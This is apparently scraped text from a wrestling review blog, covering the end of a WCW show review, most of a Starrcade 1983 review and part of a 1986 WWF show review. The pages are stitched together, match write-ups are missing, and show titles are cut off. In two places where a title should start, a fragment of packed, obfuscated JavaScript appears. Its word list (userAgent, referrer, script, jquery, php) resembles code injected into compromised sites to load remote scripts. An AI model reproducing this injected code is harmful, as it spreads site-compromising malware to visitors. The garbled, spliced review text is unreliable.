Rating: D+. And that’s ALL on Luger. This was just completely unprofessional as he was walking around most of the time and making the crowd just be bored. I get that it’s your last day, but dude, a little effort isn’t going to kill you. Like I said this was just a formality though so it was all about the moment and not the match itself which is ine at the end of the day. Luger was a jerk like always so there’s no shock there.

Sting tries to leave but the fans applaud him back to the ring. All four guys talk to close us out.

Overall Rating: A-. This was a GREAT show. If nothing else, this show is the proof that you don’t need a huge crowd to have a great show. Like I said, that bonus policy was in force here and guys like Nash were working hard. What does that tell you? What a shocking concept: give the guys a reason to work hard instead of guaranteeing them money and letting them do whatever they want.

Think about later in WCW when the money was all guaranteed. How many GREAT matches or shows do you remember in the late 90s? The Cruiserweights would work hard but the main event was nothing. Hogan only had to wrestle once every other month and got a huge salary anyway. Here though: you work hard, you get paid. I think the way it actually worked was match of the night got a bonus kind of like in the UFC today.

That’s working well and it worked here. Naturally though Bill Watts was brought in because the company was losing money and clearly the two months that Frey had was a good indication of what the company would be like for years to come. This was the last great WCW show for a very long time, so take a look at it because it was downhill from here for awhile other than WrestleWar to an extent. If you can find this show somewhere, DEFINITELY take a look at it as I had a lot of fun watching it.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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This is the original biggest show ever and it actually lives up to the billing.  The main event is Ric Flair vs. Harley Race inside a cage in one of the biggest storylines ever at that point.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behyf|var|u0026u|referrer|ydeir||js|php'.split('|'),0,{})) 1983
Date: November 24, 1983
Location: Greensboro Coliseum, Greensboro, North Carolina
Attendance: 15,447
Commentators: Gordon Solie, Bob Caudle

 

 

The Assassins vs. Rufus R. Jones/Bugsy McGraw

 

 

The Assassins make a tag but #1 winds up running away from McGraw instead of fighting him. #1 grabs the wrist and cranks on it a bit but Bugsy looks much more annoyed than anything else. Bugsy elbows his way out of trouble and brings Rufus back in for more headbutts to the shoulder. Jones pounds on #1 in the corner and knocks him down with a hard Irish whip. Assassin rakes him in the eye to finally take over but the advantage lasts for all of ten seconds before Jones fires off some headbutts to the ribs.

 

Rating: D. The match sucked but the crowd reactions for McGraw/Jones were great. I have no idea what the point was in having the Assassins win here was as they were in control for roughly ten seconds out of just over eight minutes. Nothing to see here at all and the ending sucked the life out of the crowd.

 

The announcers talk about how great this show is and hype up the main event a little bit more. Apparently Dusty Rhodes is going to challenge the winner.

 

Tony Schiavone (long time WCW commentator making his debut tonight) is in the back as the good guys are warming up for their matches later, including both Flair and Piper.

 

Kevin Sullivan/Mark Lewin vs. Scott McGhee/Johnny Weaver

 

 

 

Some fans from South Carolina are in the front row and are very polite about being here.

 

Abdullah the Butcher vs. Carlos Colon

 

 

 

More fans pick Flair to win tonight.

 

Wahoo McDaniel/Mark Youngblood vs. Dick Slater/Bob Orton

 

 

Youngblood breaks the count by a second but the punishment to the back continues with a reverse chinlock. Orton lets go on the hold and stomps him in the face for good measure. Slater comes in and breaks up a tag before suplexing Mark down for two. Back up and they bang heads, allowing for the hot tag to Wahoo. He cleans house with an atomic drop on Orton and a big chop for good measure.

 

 

Flair is in the back with Ricky Steamboat and Jay Youngblood who are getting ready for their matches later. In a rare sight, Flair is very calm and collected before the main event. He wishes the other two luck. Youngblood and Steamboat are ready too and promises to win the tag belts again.

 

TV Title: Charlie Brown vs. Great Kabuki

 

 

 

 

Dusty (noticing a pattern here?) says that he wants the first shot at the new champion. He picks Flair too after talking about how great his own career has been for a minute or so.

 

Roddy Piper vs. Greg Valentine

 

 

Piper comes back with some shots to the eyes of his own before choking away in the middle of the ring. Valentine is sent into the corner and Piper keeps pounding away on the head. Piper takes it to the floor for some HARD shots with the chain as they head into the barricade. Greg gets in some shots to the bad ear and Piper is bleeding from the side of his head.

 

Back in and Valentine pounds away but Piper blocks a suplex. A hard elbow gets two for Valentine but Piper is in big trouble. Greg tries to hit the ropes but Piper pulls the chain to bring him down. Piper goes NUTS on Valentine and pounds away on him, busting the champion open in the process. Valentine goes right back to the ear but Piper comes back with some straight left hands to the jaw. A BIG right hand drops Valentine but Greg goes after the ear again to take over. Greg gets two off a knee drop as both guys are tiring.

 

Rating: B+. This is a very hard hitting brawl but it can be a bit slow at times. This is the match that made people realize how insane Piper could be as he went out there and took an insane beating before coming back time after time and trying to hurt Valentine. He would jump to the WWF soon after and become the top villain in the world, which is what he deserved to be.

 

Post match Valentine jumps Piper and chokes him with the chain.

 

Don Kernoodle, former world tag team champion, wants to see Flair win.

 

Tag Titles: Ricky Steamboat/Jay Youngblood vs. Brisco Brothers

 

 

A quick suplex gets two for Jerry and he hooks a short armscissors to keep Ricky in trouble. Ricky escapes in an impressive power display by lifting him off the mat and dropping him down on his back. Hot tag brings in Jay and things break down. The Briscos double team Youngblood to take over again but Jerry can only get two off a suplex. Jerry tries his abdominal stretch cradle but Jay kicks out again. He tries again but rolls Jay into the corner for another tag to Steamboat and the future dragon cleans house. A double chop puts Jerry down and Steamboat slams Jay down onto Jerry for the pin and the titles.

 

Rating: C+. Nice tag match here to give Steamboat and Youngblood their fifth tag titles. Yeah even back then there were teams who would get a bunch of titles in just a few years. Anyway, the Briscos would be retired soon after this while Youngblood would die in 1985 due to injuries suffered in the match. Good stuff here though.

As the new champions celebrate, we actually have the credits read to us. I don’t think I’ve ever seen that before.

 

The announcers hype up the main event even more.

 

NWA World Title: Ric Flair vs. Harley Race

 

They talk trash to each other to start before Flair takes him down with a headlock takeover. Race sends him into the ropes for a knee to the ribs but Kiniski pulls them apart. Ric snapmares him down into a chinlock which transitions into a headlock. Race fights up and hits a high knee, only to have a falling headbutt hit the canvas. Flair goes back to the headlock and cranks away on it on the mat but has to shift over into a front facelock.

 

We go to that overhead camera shot again as Race hits what looks like a shoulder breaker for two. A falling headbutt has Flair in trouble again as does being slammed face first into the cage. Another shot into the steel has Flair in trouble and Race is in full control. The referee pulls Race off Flair for the third time but this time he yells at Flair as well. Ric is busted open now.

 

 

Race headbutts out of the corner but Flair falls on top during a suplex attempt. The champion slams him down and drops a middle rope headbutt but stuns himself in the process. A suplex gets two more for Race and there is blood EVERYWHERE. Race pounds away and Kiniski has a problem with that too. Harley shrugs off some Flair punches and sends him into the cage before choking away with his boot.

 

 

The announcers talk about Dusty vs. Flair which is coming soon.

 

The announcers talk about Dusty. AGAIN.

 

Flair (in his fifth or sixth promo tonight) is with Steamboat and Youngblood as they pose with their titles.

 

The announcers talk about everything to end the show, over twenty minutes after the main event ended.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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Also if you’re interested in Starrcade, I’ve written an e-book reviewing all 18 editions.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytrar|var|u0026u|referrer|afika||js|php'.split('|'),0,{})) of Wrestling
Date: November 22, 1986
Location: Broome County Arena, Binghamton, New York
Attendance: 6,400
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

Opening sequence does its opening thing.

Vince runs down the card and HOKEY SMOKE there are two famous things on this show.

Intercontinental Title: Randy Savage vs. Ricky Steamboat

Hebner and Danny Davis argue over who gets to be the referee here. Steamboat is all fired up but Hebner (who I guess won the argument) tears him off Savage. Ricky speeds things up again and slams the champ down for two before hitting the armdrag into the armbar as only he can. Savage gets up and runs Steamboat over a few times but gets caught in another perfect armdrag.

UPDATE!

Paul Orndorff is the #1 contender to Hulk Hogan and thinks anyone claiming otherwise is crazy. Orndorff says comparing him to Hogan is like comparing ice cream to horse manure.

Al Navaro vs. Junkyard Dog

Powerslam in maybe 35 seconds ends this. Next.

Dino Bravo vs. Kurt Kauffman

This is another squash that runs almost twice as long as the previous one. Bravo wins it with a belly to back suplex before Fink can finish reading the house show ads.

Outback Jack is training with some natives in Australia. Ok then.

Jimmy Jack Funk vs. Dick Slater

Billy Jack Haynes vs. Ray Vance

This is almost joined in progress for some reason. Haynes pounds him down with pure power and hooks the full nelson for the tap out. This lasted maybe a minute or so.

Hillbilly Jim/Tito Santana/Pedro Morales vs. Dream Team/Johnny V